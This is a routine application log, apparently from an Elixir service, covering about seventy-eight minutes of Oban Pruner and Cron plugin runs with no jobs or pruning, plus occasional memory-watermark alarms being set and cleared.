07:19:56.962 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.732 [info] {"source":"oban","duration":4192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:26.964 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:56.966 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.735 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:26.969 [info] {"source":"oban","duration":1753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:56.971 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.741 [info] {"source":"oban","duration":4395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:26.975 [info] {"source":"oban","duration":2936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:56.978 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.743 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:22.112 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 07:23:26.993 [info] {"source":"oban","duration":10549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:56.995 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.750 [info] {"source":"oban","duration":7352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:22.117 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 07:24:26.997 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:56.999 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.761 [info] {"source":"oban","duration":7841,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:27.001 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:57.004 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.765 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:27.007 [info] {"source":"oban","duration":2464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:57.009 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.770 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:27.015 [info] {"source":"oban","duration":4744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:57.021 [info] {"source":"oban","duration":4210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.771 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:27.024 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:57.026 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.774 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:27.028 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:57.033 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.782 [info] {"source":"oban","duration":6286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:27.035 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:57.037 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.787 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:27.048 [info] {"source":"oban","duration":9586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:57.050 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.789 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:27.054 [info] {"source":"oban","duration":3256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:57.057 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.792 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:27.060 [info] {"source":"oban","duration":2355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:57.063 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.793 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:27.065 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:57.068 [info] {"source":"oban","duration":1954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.797 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:27.070 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:57.084 [info] {"source":"oban","duration":13371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.799 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:27.086 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:57.088 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.801 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:27.093 [info] {"source":"oban","duration":3336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:57.109 [info] {"source":"oban","duration":14678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.803 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:27.111 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:57.114 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.815 [info] {"source":"oban","duration":10933,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:27.117 [info] {"source":"oban","duration":2321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:57.120 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.820 [info] {"source":"oban","duration":3760,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:27.122 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:57.124 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.824 [info] {"source":"oban","duration":2734,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:27.131 [info] {"source":"oban","duration":6242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:57.135 [info] {"source":"oban","duration":1867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.828 [info] {"source":"oban","duration":2929,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:42:27.141 [info] {"source":"oban","duration":5583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:57.147 [info] {"source":"oban","duration":4000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.832 [info] {"source":"oban","duration":2164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:27.150 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:57.151 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.834 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:27.155 [info] {"source":"oban","duration":3266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:57.157 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.850 [info] {"source":"oban","duration":9311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:22.230 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 07:45:27.159 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:57.163 [info] {"source":"oban","duration":2752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.852 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:27.165 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:57.167 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.856 [info] {"source":"oban","duration":2980,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:27.169 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:57.171 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.857 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:27.174 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:57.176 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.858 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:27.184 [info] {"source":"oban","duration":5049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:57.188 [info] {"source":"oban","duration":2968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.860 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:27.190 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:57.192 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.862 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:27.198 [info] {"source":"oban","duration":4172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:57.200 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.866 [info] {"source":"oban","duration":3354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:27.205 [info] {"source":"oban","duration":4077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:57.210 [info] {"source":"oban","duration":4341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.871 [info] {"source":"oban","duration":3994,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:27.212 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:57.214 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.872 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:27.216 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:57.220 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.874 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:27.224 [info] {"source":"oban","duration":3005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:57.226 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.875 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:27.229 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:57.231 [info] {"source":"oban","duration":2274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.876 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:27.235 [info] {"source":"oban","duration":2431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:57.243 [info] {"source":"oban","duration":6596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.878 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:27.244 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:57.248 [info] {"source":"oban","duration":2841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.884 [info] {"source":"oban","duration":5393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:27.251 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:57.254 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.886 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:27.256 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:57.258 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.889 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:27.262 [info] {"source":"oban","duration":2849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:57.264 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.892 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:27.267 [info] {"source":"oban","duration":2013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:57.269 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.892 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:27.271 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:57.273 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.893 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:27.275 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:57.277 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.895 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:27.282 [info] {"source":"oban","duration":4149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:57.284 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.897 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:22.340 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 08:06:27.288 [info] {"source":"oban","duration":2984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:57.291 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.901 [info] {"source":"oban","duration":2975,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:27.295 [info] {"source":"oban","duration":2739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:57.297 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.902 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:27.300 [info] {"source":"oban","duration":2389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:57.302 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.903 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:22.359 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 08:09:27.304 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:57.306 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.904 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:27.308 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:57.311 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.906 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:27.313 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:57.315 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.909 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:27.317 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:57.319 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.910 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:27.321 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:57.323 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.916 [info] {"source":"oban","duration":3734,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:27.327 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:57.330 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.917 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:22.391 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 08:15:27.332 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:57.334 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.918 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:27.336 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:57.339 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.920 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:27.341 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:57.343 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.921 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:22.403 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 08:18:27.348 [info] {"source":"oban","duration":3726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:57.351 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.923 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:27.353 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:57.355 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.924 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:27.357 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:57.360 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.926 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:27.362 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:57.365 [info] {"source":"oban","duration":1996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.932 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:27.369 [info] {"source":"oban","duration":3513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:57.371 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.934 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:27.373 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:57.375 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.943 [info] {"source":"oban","duration":6834,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:27.377 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:57.381 [info] {"source":"oban","duration":3230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.947 [info] {"source":"oban","duration":2834,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:27.383 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:57.387 [info] {"source":"oban","duration":3326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.951 [info] {"source":"oban","duration":2429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:27.389 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:57.391 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.952 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:27.395 [info] {"source":"oban","duration":2708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:57.397 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.954 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:22.443 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 08:28:27.400 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:57.402 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.959 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:27.404 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:57.406 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.961 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:27.410 [info] {"source":"oban","duration":2801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:57.412 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.963 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:27.414 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:57.417 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.975 [info] {"source":"oban","duration":10807,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:27.418 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:57.422 [info] {"source":"oban","duration":2645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.978 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:27.424 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:57.426 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.979 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:27.428 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:57.430 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.981 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:27.432 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:57.434 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.981 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:27.436 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:57.438 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.986 [info] {"source":"oban","duration":4196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:27.440 [info] 